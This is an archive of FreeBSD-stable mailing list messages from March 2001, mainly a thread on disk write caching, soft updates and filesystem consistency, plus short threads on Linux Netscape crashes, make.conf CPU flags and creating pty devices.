sos@freebsd.dk, mobile@FreeBSD.ORG, stable@FreeBSD.ORG Subject: Re: Disk I/O problem in 4.3-BETA Message-ID: <20010313013301.L29888@fw.wintelcom.net> References: <20010312140636.A18351@fw.wintelcom.net> <200103130848.JAA08707@galaxy.de.cp.philips.com> <15021.58386.377695.943846@guru.mired.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <15021.58386.377695.943846@guru.mired.org>; from mwm@mired.org on Tue, Mar 13, 2001 at 03:10:42AM -0600 X-all-your-base: are belong to us. Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Mike Meyer [010313 01:10] wrote: > Helge Oldach types: > > Generally I'd say it's not a bad idea to have write caching on the disk > > enabled - assuming that it is decently implemented. BTW, don't SCSI > > disks use write cacheing as well? :-) > > Yes, they do. And it's recommended that you turn it off if you turn on > softupdates. The driver doesn't do it for you, though. Oh great... Perhaps the disk guru's can add some notes to the sfotupdates docco about this? Or did I just miss this? > I'd be interested to know details about why softupdates makes it more > critical to have write caching off. It's always critical to have write caching turned off to ensure filesystem consistancy during an outtage. Having write caching on is like having the disk ignore _any_ filesystem's attempt to do softupdates/logging/delayed-order-writes because the disk _lies_ to the OS about when a write is safely on the disk. -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] Daemon News Magazine in your snail-mail! http://magazine.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 1:34:41 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mail.bith.no (asterix.bith.no [194.54.126.125]) by hub.freebsd.org (Postfix) with SMTP id 57DC437B71E for ; Tue, 13 Mar 2001 01:34:37 -0800 (PST) (envelope-from edpeh@bith.no) Received: (qmail 79446 invoked from network); 13 Mar 2001 09:34:29 -0000 Received: from unknown (HELO obelix) (194.54.126.65) by asterix.bith.no with SMTP; 13 Mar 2001 09:34:29 -0000 Message-ID: <001c01c0aba1$97aaee60$2dfea8c0@obelix> From: "Eyvind Hult" To: Subject: Date: Tue, 13 Mar 2001 10:40:08 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG subscribe freebsd-stable To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 1:38:48 2001 Delivered-To: freebsd-stable@freebsd.org Received: from freebsd.dk (freebsd.dk [212.242.42.178]) by hub.freebsd.org (Postfix) with ESMTP id 3BE1237B718; Tue, 13 Mar 2001 01:38:40 -0800 (PST) (envelope-from sos@freebsd.dk) Received: (from sos@localhost) by freebsd.dk (8.9.3/8.9.1) id KAA95619; Tue, 13 Mar 2001 10:38:30 +0100 (CET) (envelope-from sos) From: Soren Schmidt Message-Id: <200103130938.KAA95619@freebsd.dk> Subject: Re: Disk I/O problem in 4.3-BETA In-Reply-To: <20010313013301.L29888@fw.wintelcom.net> from Alfred Perlstein at "Mar 13, 2001 01:33:01 am" To: bright@wintelcom.net (Alfred Perlstein) Date: Tue, 13 Mar 2001 10:38:30 +0100 (CET) Cc: mwm@mired.org (Mike Meyer), Helge.Oldach@de.origin-it.com (Helge Oldach), oberman@es.net, mobile@FreeBSD.ORG, stable@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It seems Alfred Perlstein wrote: > > Having write caching on is like having the disk ignore _any_ > filesystem's attempt to do softupdates/logging/delayed-order-writes > because the disk _lies_ to the OS about when a write is safely on > the disk. Hmm, I think the problem here is that the OS doesn't tell the drivers WHEN it expects to have data written to disk, I can't see why it should not be possible to have even softupdates say "now before I write this I expect everything so far to be on disk". -Søren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 1:43: 9 2001 Delivered-To: freebsd-stable@freebsd.org Received: from phk.freebsd.dk (phk.freebsd.dk [212.242.86.136]) by hub.freebsd.org (Postfix) with ESMTP id 6241237B71A; Tue, 13 Mar 2001 01:43:04 -0800 (PST) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.86.163]) by phk.freebsd.dk (8.9.3/8.9.3) with ESMTP id KAA39262; Tue, 13 Mar 2001 10:43:02 +0100 (CET) (envelope-from phk@critter.freebsd.dk) Received: from critter (localhost [127.0.0.1]) by critter.freebsd.dk (8.11.1/8.11.1) with ESMTP id f2D9hMp05056; Tue, 13 Mar 2001 10:43:22 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: Soren Schmidt Cc: bright@wintelcom.net (Alfred Perlstein), mwm@mired.org (Mike Meyer), Helge.Oldach@de.origin-it.com (Helge Oldach), oberman@es.net, mobile@FreeBSD.ORG, stable@FreeBSD.ORG Subject: Re: Disk I/O problem in 4.3-BETA In-Reply-To: Your message of "Tue, 13 Mar 2001 10:38:30 +0100." <200103130938.KAA95619@freebsd.dk> Date: Tue, 13 Mar 2001 10:43:22 +0100 Message-ID: <5054.984476602@critter> From: Poul-Henning Kamp Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200103130938.KAA95619@freebsd.dk>, Soren Schmidt writes: >It seems Alfred Perlstein wrote: >> >> Having write caching on is like having the disk ignore _any_ >> filesystem's attempt to do softupdates/logging/delayed-order-writes >> because the disk _lies_ to the OS about when a write is safely on >> the disk. > >Hmm, I think the problem here is that the OS doesn't tell the >drivers WHEN it expects to have data written to disk, I can't >see why it should not be possible to have even softupdates >say "now before I write this I expect everything so far to >be on disk". I think it can be done really easy: Whenever a sync(1) is executed and every 30 seconds a flush should be sent. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 1:52: 8 2001 Delivered-To: freebsd-stable@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 7F8F237B718; Tue, 13 Mar 2001 01:52:01 -0800 (PST) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id f2D9odl12219; Tue, 13 Mar 2001 01:50:39 -0800 (PST) Date: Tue, 13 Mar 2001 01:50:39 -0800 From: Alfred Perlstein To: Soren Schmidt Cc: Mike Meyer , Helge Oldach , oberman@es.net, mobile@FreeBSD.ORG, stable@FreeBSD.ORG Subject: Re: Disk I/O problem in 4.3-BETA Message-ID: <20010313015039.P29888@fw.wintelcom.net> References: <20010313013301.L29888@fw.wintelcom.net> <200103130938.KAA95619@freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200103130938.KAA95619@freebsd.dk>; from sos@freebsd.dk on Tue, Mar 13, 2001 at 10:38:30AM +0100 X-all-your-base: are belong to us. Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Soren Schmidt [010313 01:38] wrote: > It seems Alfred Perlstein wrote: > > > > Having write caching on is like having the disk ignore _any_ > > filesystem's attempt to do softupdates/logging/delayed-order-writes > > because the disk _lies_ to the OS about when a write is safely on > > the disk. > > Hmm, I think the problem here is that the OS doesn't tell the > drivers WHEN it expects to have data written to disk, I can't > see why it should not be possible to have even softupdates > say "now before I write this I expect everything so far to > be on disk". It doesn't expect that, it just expects you to block until that specific write is on disk. And you're probably right that there's no propogation of this request down to the disk driver level, and yes that's a bug. I said a while back that the most simple "fix" for this was to add another variant of bwrite() that asked for write-through behavior. The reason why simply changing bwrite() to do this is a bad idea is because afaik when there's a lack of buffer space and the kernel is desperately trying to flush buffers it calls bwrite(). In that case, since most likely normal data is being written you _want_ write caching for performance. The reason bwrite() is used instead of bawrite() when we're low on memory is because writes may need additional bufferspace to pull in the indirect blocks, and if you bawrite the data you may wind up deadlocking. Or something like that. :) -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] Daemon News Magazine in your snail-mail! http://magazine.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 1:56:36 2001 Delivered-To: freebsd-stable@freebsd.org Received: from resnet.uoregon.edu (resnet.uoregon.edu [128.223.122.47]) by hub.freebsd.org (Postfix) with ESMTP id A071737B718 for ; Tue, 13 Mar 2001 01:56:33 -0800 (PST) (envelope-from dwhite@resnet.uoregon.edu) Received: from localhost (dwhite@localhost) by resnet.uoregon.edu (8.10.1/8.10.1) with ESMTP id f2D9uQ842680; Tue, 13 Mar 2001 01:56:26 -0800 (PST) Date: Tue, 13 Mar 2001 01:56:26 -0800 (PST) From: Doug White To: Mathieu Cc: freebsd-stable@FreeBSD.ORG Subject: Re: Crash with Linux Netscape ? In-Reply-To: <3AA69908.BC78CEBB@amx.dyn.dhs.org> Message-ID: X-All-Your-Base: are belong to us MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 7 Mar 2001, Mathieu wrote: > Hey ! > > Sorry I don't speak english very well... ;p > > I have just downloaded 4.3-BETA, and the Linux Netscape Communicator > (installed from the ports) is now crashing my computer :( It runs 2 or 3 > seconds, and then the computer reboots ! It was working fine with > -STABLE of the last week. (I tested it again with my kernel.old to make > sur the problem was related to the kernel) > > BTW, is it normal the computer just reboots ? Or should I see some panic > messages somewhere ? Use 'brandelf -t Linux' against the Netscape binaries -- it might be not getting under the emulator and calling FreeBSD reboot() when it think it's calling fcntl() or somesuch :) Doug White | FreeBSD: The Power to Serve dwhite@resnet.uoregon.edu | www.FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 2: 7:16 2001 Delivered-To: freebsd-stable@freebsd.org Received: from peter3.wemm.org (c1315225-a.plstn1.sfba.home.com [65.0.135.147]) by hub.freebsd.org (Postfix) with ESMTP id 3FED537B718; Tue, 13 Mar 2001 02:07:10 -0800 (PST) (envelope-from peter@netplex.com.au) Received: from mobile.wemm.org (mobile.wemm.org [10.0.0.5]) by peter3.wemm.org (8.11.0/8.11.0) with ESMTP id f2DA79p39547; Tue, 13 Mar 2001 02:07:09 -0800 (PST) (envelope-from peter@netplex.com.au) Received: from netplex.com.au (localhost [127.0.0.1]) by mobile.wemm.org (8.11.1/8.11.1) with ESMTP id f2DA73h54023; Tue, 13 Mar 2001 02:07:07 -0800 (PST) (envelope-from peter@netplex.com.au) Message-Id: <200103131007.f2DA73h54023@mobile.wemm.org> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4 To: Soren Schmidt Cc: bright@wintelcom.net (Alfred Perlstein), mwm@mired.org (Mike Meyer), Helge.Oldach@de.origin-it.com (Helge Oldach), oberman@es.net, mobile@FreeBSD.ORG, stable@FreeBSD.ORG Subject: Re: Disk I/O problem in 4.3-BETA In-Reply-To: <200103130938.KAA95619@freebsd.dk> Content-Transfer-Encoding: 8bit Date: Tue, 13 Mar 2001 02:07:03 -0800 From: Peter Wemm Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Soren Schmidt wrote: > It seems Alfred Perlstein wrote: > > > > Having write caching on is like having the disk ignore _any_ > > filesystem's attempt to do softupdates/logging/delayed-order-writes > > because the disk _lies_ to the OS about when a write is safely on > > the disk. > > Hmm, I think the problem here is that the OS doesn't tell the > drivers WHEN it expects to have data written to disk, I can't > see why it should not be possible to have even softupdates > say "now before I write this I expect everything so far to > be on disk". Exactly. softupdates depends on the "block done, is on disk now!" notification in order to queue up the next set of dependencies. There is no B_ORDERED or anything. It just snoops the iodone calls. The disk driver has no way of knowing if the fs has something waiting on that given block or not. The alternative is to put B_ORDERED on *every* write from ffs/softdep, which would mean a cache flush after every operation on the ata driver. We cant even look to see if there are dependencies or not on a given block when it is initiated.. because while it is being sent to the drive, another operation can appear that depends on it. It was too late to set the ORDERED bit, so it may not get written to actual disk, and the disk will *LIE* about the completion of the write, and softupdates will queue up the next dependenent transfter, which might make it to disk before the first one that the drive *LIED* about. If your power goes out or the drive gets a hard reset in that window... boom! corrupt fs! hello backups! Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 2:20:26 2001 Delivered-To: freebsd-stable@freebsd.org Received: from smtp.skyinet.net (SMTP.SKYINET.NET [206.101.197.180]) by hub.freebsd.org (Postfix) with ESMTP id 4867537B754 for ; Tue, 13 Mar 2001 02:20:22 -0800 (PST) (envelope-from mars@cannoncreek.com) Received: from nomad (unknown [202.78.79.4]) by smtp.skyinet.net (Postfix) with SMTP id 57A6632EA5 for ; Tue, 13 Mar 2001 18:20:20 +0800 (PHT) Message-ID: <01f801c0abaa$51616020$4500a8c0@nomad> From: "Mars G. Miro" To: References: <200103131007.f2DA73h54023@mobile.wemm.org> Subject: Re: Disk I/O problem in 4.3-BETA Date: Tue, 13 Mar 2001 18:42:27 +0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Geez, this thread is getting longer and all the more confusing, can some guru possibly attempt to outline the good and bad points of Softupdates or WC ? > Soren Schmidt wrote: > > It seems Alfred Perlstein wrote: > > > > > > Having write caching on is like having the disk ignore _any_ > > > filesystem's attempt to do softupdates/logging/delayed-order-writes > > > because the disk _lies_ to the OS about when a write is safely on > > > the disk. > > > > Hmm, I think the problem here is that the OS doesn't tell the > > drivers WHEN it expects to have data written to disk, I can't > > see why it should not be possible to have even softupdates > > say "now before I write this I expect everything so far to > > be on disk". > > Exactly. softupdates depends on the "block done, is on disk now!" > notification in order to queue up the next set of dependencies. There is > no B_ORDERED or anything. It just snoops the iodone calls. The disk > driver has no way of knowing if the fs has something waiting on that given > block or not. > > The alternative is to put B_ORDERED on *every* write from ffs/softdep, which > would mean a cache flush after every operation on the ata driver. > > We cant even look to see if there are dependencies or not on a given block > when it is initiated.. because while it is being sent to the drive, another > operation can appear that depends on it. It was too late to set the > ORDERED bit, so it may not get written to actual disk, and the disk will > *LIE* about the completion of the write, and softupdates will queue up the > next dependenent transfter, which might make it to disk before the first > one that the drive *LIED* about. If your power goes out or the drive gets > a hard reset in that window... boom! corrupt fs! hello backups! > > Cheers, > -Peter > -- > Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au > "All of this is for nothing if we don't go to the stars" - JMS/B5 > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > cheers mars To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 2:24:23 2001 Delivered-To: freebsd-stable@freebsd.org Received: from bleys.tpgi.com.au (bleys.tpgi.com.au [203.12.160.38]) by hub.freebsd.org (Postfix) with ESMTP id BA26837B71B for ; Tue, 13 Mar 2001 02:24:20 -0800 (PST) (envelope-from eirvine@tpgi.com.au) Received: (from smtpd@localhost) by bleys.tpgi.com.au (8.11.2/8.11.2) id f2DANUO06242; Tue, 13 Mar 2001 21:23:30 +1100 Received: from buffy.tpgi.com.au(203.12.160.34) via SMTP by bleys.tpgi.com.au, id smtpdjYXKB5; Tue Mar 13 21:23:27 2001 Received: (from smtpd@localhost) by buffy.tpgi.com.au (8.9.3/8.9.3) id VAA30806; Tue, 13 Mar 2001 21:23:26 +1100 Received: from tar-56k-208.tpgi.com.au(203.26.26.208), claiming to be "tpgi.com.au" via SMTP by buffy.tpgi.com.au, id smtpdpSigQG; Tue Mar 13 21:23:02 2001 Message-ID: <3AADF525.F77C2F18@tpgi.com.au> Date: Tue, 13 Mar 2001 21:23:33 +1100 From: eirvine X-Mailer: Mozilla 4.6 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: "Michael J. Turner" Cc: freebsd-stable@FreeBSD.ORG Subject: Re: Freebsd not seeing partitions correctly References: <001401c0ab45$6535ed60$0204a8c0@blah1> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi Michael, Since no one else has answered yet, I'd like to make a suggestion: this looks like FreeBSD or BIOS or both is in some sort of old "compatibility" mode. I wonder if fooling around with the way your BIOS sees your disk will help? (obviously - take note of your existing config before you make changes). Eddie. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 3:28:34 2001 Delivered-To: freebsd-stable@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id EA3AC37B745; Tue, 13 Mar 2001 03:28:24 -0800 (PST) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id f2DBQZD14553; Tue, 13 Mar 2001 03:26:35 -0800 (PST) Date: Tue, 13 Mar 2001 03:26:35 -0800 From: Alfred Perlstein To: Mars Attack Cc: Soren Schmidt , Peter Wemm , Mike Meyer , Helge Oldach , oberman@es.net, mobile@FreeBSD.ORG, stable@FreeBSD.ORG Subject: Re: Disk I/O problem in 4.3-BETA Message-ID: <20010313032635.Q29888@fw.wintelcom.net> References: <200103131007.f2DA73h54023@mobile.wemm.org> <01f001c0abaa$133e1680$4500a8c0@nomad> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <01f001c0abaa$133e1680$4500a8c0@nomad>; from marsattack@cannoncreek.com on Tue, Mar 13, 2001 at 06:40:46PM +0800 X-all-your-base: are belong to us. Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Mars Attack [010313 02:18] wrote: > Geez, this thread is getting longer and all the more confusing, can some > guru possibly attempt to outline the good and bad points of Softupdates or > WC ? 1) softupdates good 2) WC bad (even when not using softupdates) Basically, softupdates doesn't really matter, as long as you have write caching turned on, you're defeating the safeness of FFS (noasync) and FFS (softdep) by allowing the disk to reorder what should be ordered writes. -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] Daemon News Magazine in your snail-mail! http://magazine.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 3:34:30 2001 Delivered-To: freebsd-stable@freebsd.org Received: from eve.framatome.fr (eve.framatome.fr [195.101.50.66]) by hub.freebsd.org (Postfix) with ESMTP id DBF0137B71A for ; Tue, 13 Mar 2001 03:34:25 -0800 (PST) (envelope-from ubc@paris.framatome.fr) Received: from localhost (ubc@localhost) by eve.framatome.fr (8.9.3/8.9.3) with ESMTP id MAA10035; Tue, 13 Mar 2001 12:34:21 +0100 (CET) (envelope-from ubc@paris.framatome.fr) Date: Tue, 13 Mar 2001 12:34:21 +0100 (CET) From: Claude Buisson X-Sender: ubc@eve.framatome.fr To: Jordan Hubbard Cc: freebsd-stable@FreeBSD.ORG Subject: Re: ARCH flag in new make.conf In-Reply-To: <20010312182203N.jkh@osd.bsdi.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 12 Mar 2001, Jordan Hubbard wrote: > From: Claude Buisson > Subject: Re: ARCH flag in new make.conf > Date: Wed, 7 Mar 2001 11:51:47 +0100 (CET) > > > If CPUTYPE is potentially dangerous, why make its use automatic ? needing > > a special flag (commented OUT in /etc/default/make.conf) to deny it. > > It's not automatic. I don't see how or why you think that it is? > Yes I was under the false impression that it was automatic, and the existence of NO_CPU_CFLAGS contributed to it. Having done may home work, this impression has been corrected. But I persist in thinking that there is a role for a NO_CPU_CFLAGS or alike being set at the individual program level. > > Please, revert the default: do NOT use CPUTYPE optimization in a standard > > That is the default. I don't need to revert anything. :) > > - Jordan > Claude Buisson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 3:51:23 2001 Delivered-To: freebsd-stable@freebsd.org Received: from dilbert.fcg.co.uk (dilbert.firstcallgroup.co.uk [194.203.69.166]) by hub.freebsd.org (Postfix) with ESMTP id 646A537B71D; Tue, 13 Mar 2001 03:51:19 -0800 (PST) (envelope-from pfrench@firstcallgroup.co.uk) Received: from pfrench by dilbert.fcg.co.uk with local (Exim 3.22 #1) id 14cnKZ-0005ZI-00; Tue, 13 Mar 2001 11:51:11 +0000 To: bright@wintelcom.net, Helge.Oldach@de.origin-it.com Subject: Re: Disk I/O problem in 4.3-BETA Cc: mobile@FreeBSD.ORG, oberman@es.net, sos@freebsd.dk, stable@FreeBSD.ORG In-Reply-To: <20010313005811.J29888@fw.wintelcom.net> Message-Id: From: Pete French Date: Tue, 13 Mar 2001 11:51:11 +0000 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG All very interesting, but a small point has been forgotten hasnt it ? The way I read this thread is that until recentlly write-caching was enabled by default and has now been disabled (hence the original obseravtion of disc performance dropping). I havent noticed that FreeBSD has a bad reputation for loss of data in the event of am power outage, and my own experience backs this up. As so many people appear to have been running it this way by default until now you might have though that if it were a serious problem in reality then people would have noticed by now ? -pete. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 3:58: 8 2001 Delivered-To: freebsd-stable@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 3F19037B71D; Tue, 13 Mar 2001 03:58:03 -0800 (PST) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id f2DBvtD15382; Tue, 13 Mar 2001 03:57:55 -0800 (PST) Date: Tue, 13 Mar 2001 03:57:55 -0800 From: Alfred Perlstein To: Pete French Cc: Helge.Oldach@de.origin-it.com, mobile@FreeBSD.ORG, oberman@es.net, sos@freebsd.dk, stable@FreeBSD.ORG Subject: Re: Disk I/O problem in 4.3-BETA Message-ID: <20010313035755.S29888@fw.wintelcom.net> References: <20010313005811.J29888@fw.wintelcom.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from pfrench@firstcallgroup.co.uk on Tue, Mar 13, 2001 at 11:51:11AM +0000 X-all-your-base: are belong to us. Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Pete French [010313 03:51] wrote: > All very interesting, but a small point has been forgotten > hasnt it ? The way I read this thread is that until recentlly > write-caching was enabled by default and has now been disabled (hence > the original obseravtion of disc performance dropping). > > I havent noticed that FreeBSD has a bad reputation for loss of data > in the event of am power outage, and my own experience backs this up. > As so many people appear to have been running it this way by default until > now you might have though that if it were a serious problem in reality then > people would have noticed by now ? Your optimism is appreciated, however just because you can't see the approaching hordes doesn't mean they're not at the gates. To be true to our users, we need to either: 1) turn off write caching. 2) propogate bwrite() intention down to the device layer. -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] Daemon News Magazine in your snail-mail! http://magazine.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 4: 0:21 2001 Delivered-To: freebsd-stable@freebsd.org Received: from salmon.maths.tcd.ie (salmon.maths.tcd.ie [134.226.81.11]) by hub.freebsd.org (Postfix) with SMTP id B906137B725 for ; Tue, 13 Mar 2001 04:00:18 -0800 (PST) (envelope-from iedowse@maths.tcd.ie) Received: from walton.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id ; 13 Mar 2001 12:00:17 +0000 (GMT) To: Andrew Hesford Cc: FreeBSD-questions , iedowse@maths.tcd.ie Subject: Re: Device Inodes In-Reply-To: Your message of "Mon, 12 Mar 2001 23:23:39 CST." <20010312232339.A21734@cec.wustl.edu> Date: Tue, 13 Mar 2001 12:00:17 +0000 From: Ian Dowse Message-ID: <200103131200.aa60906@salmon.maths.tcd.ie> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20010312232339.A21734@cec.wustl.edu>, Andrew Hesford writes: >I want to add extra tty/pty pairs. The manpage says that extra tty/pty >pairs can take the form > > /dev/tty[p-sP-S][0-9a-v] > /dev/pty[p-sP-S][0-9a-v] The /dev/MAKEDEV script can make these devices for you. Just type cd /dev sh MAKEDEV ptyX where `X' is a number in the range 0-7, corresponding to the set of 32 tty/pty nodes you wish to create: 0 ttyp0-ttypv, ptyp0-ptypv 1 ttyq0-ttyqv, ptyq0-ptyqv 2 ttyr0-ttyrv, ptyr0-ptyrv etc You may also need to add corresponding entries to /etc/ttys, if they are not present already. Ian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 4: 2: 0 2001 Delivered-To: freebsd-stable@freebsd.org Received: from hugo10.ka.punkt.de (kagate.punkt.de [194.77.232.254]) by hub.freebsd.org (Postfix) with ESMTP id 3537337B737; Tue, 13 Mar 2001 04:01:53 -0800 (PST) (envelope-from hausen@punkt.de) Received: (from ry93@localhost) by hugo10.ka.punkt.de (8.9.3/8.9.3) id NAA88345; Tue, 13 Mar 2001 13:01:45 +0100 (CET) (envelope-from ry93) From: "Patrick M. Hausen" Message-Id: <200103131201.NAA88345@hugo10.ka.punkt.de> Subject: Re: Disk I/O problem in 4.3-BETA In-Reply-To: from Pete French at "Mar 13, 2001 11:51:11 am" To: pfrench@firstcallgroup.co.uk (Pete French) Date: Tue, 13 Mar 2001 13:01:45 +0100 (CET) Cc: bright@wintelcom.net, Helge.Oldach@de.origin-it.com, mobile@FreeBSD.ORG, oberman@es.net, sos@freebsd.dk, stable@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi all! Pete wrote: > All very interesting, but a small point has been forgotten > hasnt it ? The way I read this thread is that until recentlly > write-caching was enabled by default and has now been disabled (hence > the original obseravtion of disc performance dropping). > > I havent noticed that FreeBSD has a bad reputation for loss of data > in the event of am power outage, and my own experience backs this up. > As so many people appear to have been running it this way by default until > now you might have though that if it were a serious problem in reality then > people would have noticed by now ? Well, there are a great number of people running Linux with async mounts, who haven't experienced loss of data either. And they will happily tell you that living fast and loose was the way it's meant to be and, BTW, it gives much better performance ... The point in Kirk's work on softupdates was to provide a way to live "almost asynchronously" while _guaranteeing_ filesystem meta data consistency. This guarantee is lost with WC enabled, so you might as well mount async and join the "fast and loose" crowd. Only recently was softupdates included in the GENERIC kernel, so my impression is that because softupdates is now kind of default, the problem with WC popped up and was solved in the "do the right thing [tm]" manner. You are free to reenable WC any time you like. HTH, Patrick -- --- WEB ISS GmbH - Scheffelstr. 17a - 76135 Karlsruhe - 0721/9109-0 --- ------ Patrick M. Hausen - Technical Director - hausen@punkt.de ------- "Two men say, they're Jesus - one of 'em must be wrong." (Dire Straits) > > -pete. > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 4:48:16 2001 Delivered-To: freebsd-stable@freebsd.org Received: from hda.hda.com (host65.hda.com [63.104.68.65]) by hub.freebsd.org (Postfix) with ESMTP id A919F37B720; Tue, 13 Mar 2001 04:48:10 -0800 (PST) (envelope-from dufault@hda.hda.com) Received: (from dufault@localhost) by hda.hda.com (8.11.1/8.11.1) id f2DCjuB22590; Tue, 13 Mar 2001 07:45:56 -0500 (EST) (envelope-from dufault) From: Peter Dufault Message-Id: <200103131245.f2DCjuB22590@hda.hda.com> Subject: Re: Disk I/O problem in 4.3-BETA In-Reply-To: <20010313035755.S29888@fw.wintelcom.net> from Alfred Perlstein at "Mar 13, 2001 03:57:55 am" To: Alfred Perlstein Date: Tue, 13 Mar 2001 